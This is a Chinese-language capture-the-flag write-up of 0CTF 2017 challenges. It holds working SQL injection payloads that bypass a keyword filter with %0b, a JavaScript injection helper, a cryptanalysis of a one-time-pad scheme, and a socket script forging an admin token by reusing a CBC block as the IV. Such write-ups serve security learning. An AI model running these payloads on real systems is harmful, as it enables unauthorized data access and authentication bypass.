0CTF 2017 write up

又一次偶然的机会,有(ziji)幸(baoming)参加了 0CTF 2017。发挥出所有能力,22 道题解出 4 道(不算签到题),再一次感受到我与菊苣的差距..

Welcome

Welcome to 0CTF 2017~
irc: irc.freenode.net #0ctf2017

很标准的一道签到题,打开 https://webchat.freenode.net/(有 Google reCAPTCHA,需连接外网),进入 #0ctf2017 频道,公告栏获得 flag。

simplesqlin (Web)

http://202.120.7.203

A simple SQL Injection

观察 url 形式:http://202.120.7.203/index.php?id=1,猜测可以在 ID 注入。

简单尝试发现 http://202.120.7.203/index.php?id=1 or 1 limit 2,1 有结果,可以基本猜出 SQL 的形式如下:

SELECT * FROM news WHERE id=1

id 中有 select / from / where 时会提示

说明有简单的过滤,经过尝试发现这里可以用 %0b 来绕过。

1、index.php?id=99 union sel%0bect 1,2,3

可以猜出字段数为 3 个。

2、index.php?id=99 union sel%0bect 1,2,group_concat(distinct(table_name)) fro%0bm information_schema.columns

列出所有的表,并找到其中的 flag 表。

3、index.php?id=99 union sel%0bect 1,2,column_name fro%0bm information_schema.columns whe%0bre table_name=’flag’

列出字段,得到字段名:flag。

4、index.php?id=99 union sel%0bect 1,2,flag fro%0bm flag

flag{W4f_bY_paSS_f0R_CI}

 KoG (Web)

King of Glory is a funny game. Our website has a list of players.
http://202.120.7.213:11181

index.html

functionn.js(原页面就是这么拼的 = =##)

看了下源码,发现 js 会取得 url 中的 id 参数,生成相应的 hash,并发送给服务器取得数据。

猜测这里的 id 参数有一处 sql 注入,于是尝试注入 id。

但 id 不接受非整数输入。分析代码发现,id 在 index.html 34行 生成,这里调用的函数 Module.main(value) 内部过滤了非整数的输入。

分析 functionn.js,发现里面是 js 实现的 LLVM(用的 emscripten),顿时懵逼。所幸 Chrome 支持调试这个 js,于是尝试定位到判断输入是否整数的代码中。

虽然代码完全看不懂(= =##),不过对 id 为整数和 id 为非整数两种情况的调试,可以找到流程中的差异。

通过一系列调试,找到两处判断的位置如下:

将 functionn.js 修改后,通过 Chrome 开发者工具将修改后的 js map 到本地(也可用 Fiddler 修改请求等),即可载入修改版 js。

此时 id 可以接受字符串输入了,为方便注入,写了段 js 丢到 console 中。

function inj(id) {
        var ar = Module.main(id).split("|");
        if(ar.length==3)
        {
            var s = "api.php?id=" + encodeURIComponent(id) + "&hash=" + ar[0] + "&time=" + ar[1];
            content=$.ajax({url:s, async:false});
            console.log(content.responseText);
        }
}

flag{emScripten_is_Cut3_right?}

oneTimePad (Crypto)

I swear that the safest cryptosystem is used to encrypt the secret!
oneTimePad.zip

压缩包内有两个文件:oneTimePad.py ciphertext

阅读 python 代码,了解运算流程:

true_secret = open('flag.txt').read()[:32] # true_secret 为 flag
assert len(true_secret) == 32
print 'flag{%s}' % true_secret
fake_secret1 = "I_am_not_a_secret_so_you_know_me" #0x495f616d5f6e6f745f615f7365637265745f736f5f796f755f6b6e6f775f6d65
fake_secret2 = "feeddeadbeefcafefeeddeadbeefcafe" #0x6665656464656164626565666361666566656564646561646265656663616665
secret = str2num(urandom(32)) # seed

generator = keygen(secret)
ctxt1 = hex(str2num(true_secret) ^ generator.next())[2:-1]
# ctxt1 = 0xaf3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f
# generator.next() 为 key = str2num(urandom(32)) = ???

ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1]
# ctxt2 = 0x630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c
# generator.next() 为 key2 = process(key, seed)
# ∴ key2 = process(key, seed) = ctxt2 ^ fake_secret1 = 0x2a51d5b1bd1abdee4999363397902036332916fbce0982ebd3f5ece8e3ea3959

ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1] # generator.next() 为 key3 = process(key2, seed)
# ctxt3 = 0xe913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b
# generator.next() 为 key3 = process(key2, seed)
# ∴ key3 = process(key2, seed) = ctxt3 ^ fake_secret2 = 0x8f76be63af819557a5a88fca37f631b750348eb8ab0cb69fbdb0b94e4a522b7e

因此这里的关键是 process 函数,只要能够通过 process 的输出求输入:

  1. process(key2, seed) 已知,通过输出求输入,得到 a1 = key2 ^ seed
  2. key2 已知,∴ seed = a1 ^ key2
  3. process(key, seed) 已知,通过输出求输入,得到 a2 = key ^ seed
  4. seed 已知,∴ key = a2 ^ seed
  5. ctxt1、key 已知,且 ctxt1 = true_secret ^ key,∴ true_secret = ctxt1 ^ key
  6. true_secret 就是 flag

通过尝试,发现将 process 的输出作为输入(m ^ k)运算 256 轮,最终结果与最初输入相同,因此我们可以写出 process 的反函数 arcprocess:

P = 0x10000000000000000000000000000000000000000000000000000000000000425L

def process2(tmp):
    res = 0
    for i in bin(tmp)[2:]:
        res = res << 1;
        if (int(i)):
            res = res ^ tmp 
        if (res >> 256):
            res = res ^ P
    return res

def arcprocess(tmp):
    for i in range(255):
        tmp = process2(tmp)
    return hex(tmp)

最终推得:

key2 ^ seed = 0x6d7d7e2073aed753412fbcb6fb38cc5826417711d111edca20a341631e0a5249

seed = 0x472cab91ceb46abd08b68a856ca8ec6e156861ea1f186f21f356ad8bfde06b10

key = 0xc6cf0fa61c3d08ec58f5baae935fda7a92ec2e16de8dd79e1ef90fa4aea60fe2

true_secret = 0x74305f42335f72346e646f4d5f656e305567685f31735f6e6563337335617259

将 true_secret 由 hex 转为文本(一个转换工具),得到 t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY,根据比赛规则加上 flag{}

flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}

Just a simple scheme.
nc 202.120.7.217 8221
integrity_f2ed28d6534491b42c922e7d21f59495.zip

integrity.py

这题算是我很喜欢的一道题,而且很有现实意义(我自己的生产项目里的算法也是这么用的 = =##)。当时看到题目一脸卧槽,心想这也有漏洞?结果之后发现真有漏洞.. 实在佩服出题者。

阅读代码,整个程序有一个注册功能,一个登录功能。发现要以 admin 用户名登录才能获得 flag。而这个用户名是通过解密 secret 来获取的,其中 secret 的算法是 IV + AES-CBC(MD5(pad(username)) + pad(username))。

由于 key 未知,因此只能通过程序的注册部分来获取 secret。而注册部分又禁止了 admin 用户名的注册,猜测要么破解注册部分,要么对获取到的 secret 做手脚。几次尝试之后发现,注册部分对 admin 的判断应该是没有问题,因此开始分析 secret。

我们随意生成一个 secret,45f751c822c96aaf0fa5fcab8d3b602519facafa9b2df8bf076a694a880374ff12ea907c7131f763d551f12a9f56de9a。

由于使用 AES-128-CBC 加密,IV 和区块长度都为 16 字节,因此这个 secret 可以分成以下几个部分:

45f751c822c96aaf0fa5fcab8d3b6025 # IV
19facafa9b2df8bf076a694a880374ff # [第1加密块] 正好是 AES 加密后的 MD5(pad(username))
12ea907c7131f763d551f12a9f56de9a # [第2加密块] AES 加密后的 pad(username)

显而易见,修改 IV 或密文的任何一个部分,都会造成解密结果错误,进而造成 MD5(pad(username)) != pad(username),使程序直接丢弃解密结果。

换而言之,要让程序信任所提交的 secret,必须构造出 MD5(pad(username)) == pad(username)。

我们构造一个特殊的用户名,使之为 MD5(pad(“admin”)) + “admin”,这个用户名长度正好没有超出程序限制的 32 位。

注册这个用户名,获得 secret = e96fdb82030f6e8b79b58fdfe56563297db94b1d098559930269b3e6d0582f1277fc51a1b036ff8ce0b38724250bf917abc83d31b3e8b66e80fc81582d85c91c,分析看看:

e96fdb82030f6e8b79b58fdfe5656329 # IV
7db94b1d098559930269b3e6d0582f12 # [第1加密块] 加密后的 MD5(pad(  MD5(pad("admin")) + pad("admin")  ))
77fc51a1b036ff8ce0b38724250bf917 # [第2加密块] 加密后的 MD5(pad("admin"))
abc83d31b3e8b66e80fc81582d85c91c # [第3加密块] 加密后的 pad("admin"),这里程序自动加了 padding

可以发现,第三行和第四行正是我们想构造的secret!问题来了,由于使用了 CBC 的工作模式,每一个分块加密的时候,会与上一分块的密文 xor(异或) 后进行加密,而第一个分块则与 IV 进行 xor,随意修改 IV / 加密块会造成解密失败:

但换个思路,由于每一块使用了上一块的密文加密(第一块使用 IV),我们可以将原本的 IV 丢弃,将第一块的密文用作 IV。

# e96fdb82030f6e8b79b58fdfe5656329 # 丢弃的 IV
7db94b1d098559930269b3e6d0582f12 # 新的 IV,不会被程序当作密文解密
77fc51a1b036ff8ce0b38724250bf917 # [第1加密块]加密后的 MD5(pad("admin"))
abc83d31b3e8b66e80fc81582d85c91c # [第2加密块]加密后的 pad("admin")

此时发现,去掉第一行的 16 字节 IV 后,后面的三块成功构造出了一个完全合法的 secret。用这个新的 secret,就可以让程序成功解密出用户名 admin。

我们写一个程序来实现整个过程:

# encoding=utf-8
# based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py
import sys
from socket import *
import re
 
TARGET = ('202.120.7.217', 8221)
 
s = socket()
s.connect(TARGET)
 
def rd(*suffixes):
    out = ''
    while 1:
        x = s.recv(1)
        if not x:
            raise EOFError()
        sys.stdout.write(x)
        sys.stdout.flush()
        out += x
 
        for suffix in suffixes:
            if out.endswith(suffix):
                break
        else:
            continue
        break
    return out
 
def pr(x):
    s.send(x+'\n')
    print "<%s" % x

rd('gin')
pr("r")
pr("218e2ab79d1ef718cc84a472450ba88f" #md5(pad(admin))
   "61646d696e".decode("hex"))

h = re.findall(r'([0-9a-f]{10,})', rd('gin'))
h = h[0] # secret
h = h[32:] # 去掉 secret 前16字节(IV)
pr("l")
pr(h)
rd('}')

flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

Please fill out this Survey.
Thank you for participating in 0CTF 2017 Quals!

第一次知道 CTF 会有问卷调查 = =## 因为是 8:00 比赛结束前几个小时放的题目,很遗憾错过了。

一个 Google 问卷,上外网回答即可获得 flag。

做这次比赛已经算是用了全力了,尤其是两道 Crypto 题目,把我对密码学那些可怜的知识都用上了 ;w;  Reverse 没有一题会做,Pwnable 则是直接放弃了。

Keep Learning..

Coxxs

发表评论

电子邮件地址不会被公开。 必填项已用*标注